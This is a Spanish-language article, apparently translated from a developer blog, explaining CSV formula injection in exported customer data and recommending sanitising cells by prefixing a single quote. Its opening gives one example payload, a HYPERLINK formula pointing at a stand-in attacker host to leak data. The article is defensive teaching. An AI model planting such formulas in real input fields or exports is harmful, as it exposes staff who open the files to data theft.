Inyección de CSV: El botón de exportación que ejecuta código

Un cliente introduce su nombre. Escribe =HYPERLINK("http://evil.example/leak", "click"). Su sistema lo acepta. Parece texto plano.

Semanas después, su equipo de finanzas exporta una lista de clientes a CSV. Abren el archivo en Excel. Esa celda ya no es texto. Es una fórmula.

Esto es la inyección de CSV. También se le conoce como inyección de fórmulas. Es un error común en los paneles de comercio electrónico. La mayoría de los equipos no realizan pruebas para detectarlo.

Las aplicaciones de hojas de cálculo no tratan cada celda como texto. Si una celda comienza con =, +, -, o @, Excel o Google Sheets la interpretan como una fórmula.

Una fórmula puede hacer más que matemáticas. Puede construir una URL. Puede conectarse a una red. En algunos casos, puede ejecutar comandos en una computadora.

Los datos permanecen como texto en su base de datos. Se vuelven ejecutables en el momento en que un humano abre el archivo. Por lo general, la víctima es un miembro del personal con altos niveles de acceso.

Usted está en riesgo en cualquier lugar donde exporte datos de usuarios:

  • Exportaciones de nombres y direcciones de clientes
  • Cuadrículas de pedidos exportadas a CSV
  • Feeds de productos de proveedores
  • Volcados de formularios de contacto

Un atacante no necesita acceso de administrador. Configura su propio nombre como una fórmula y espera.

No intente solucionar esto durante la validación de la entrada. El valor es texto legítimo hasta que una hoja de cálculo lo lee. En su lugar, sanee los datos cuando escriba el archivo CSV.

Si una celda comienza con =, +, -, @, un tabulador o un retorno de carro, añada una comilla simple al principio.

Lógica de ejemplo: Si el valor comienza con un carácter de activación, devuelva "'" + value.

La comilla simple le indica a la hoja de cálculo que trate la celda como texto. La hoja de cálculo oculta la comilla al usuario. Pase cada campo por esta comprobación antes de que entre en el archivo.

No escape los datos en su base de datos. El valor está bien en su base de datos y bien en su HTML. Solo es peligroso en un CSV. Proteja el límite del CSV para mantener sus datos limpios en otros lugares.

Deje de confiar en sus exportaciones internas. Los atacantes tienen como objetivo a su personal a través de estos archivos.

La inyección de CSV no activa alertas alarmantes de los escáneres. Se esconde en el botón de exportación que construyó hace años. Revise su código de exportación de CSV ahora. Si no protege el primer carácter de cada celda, está en riesgo.

Fuente: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6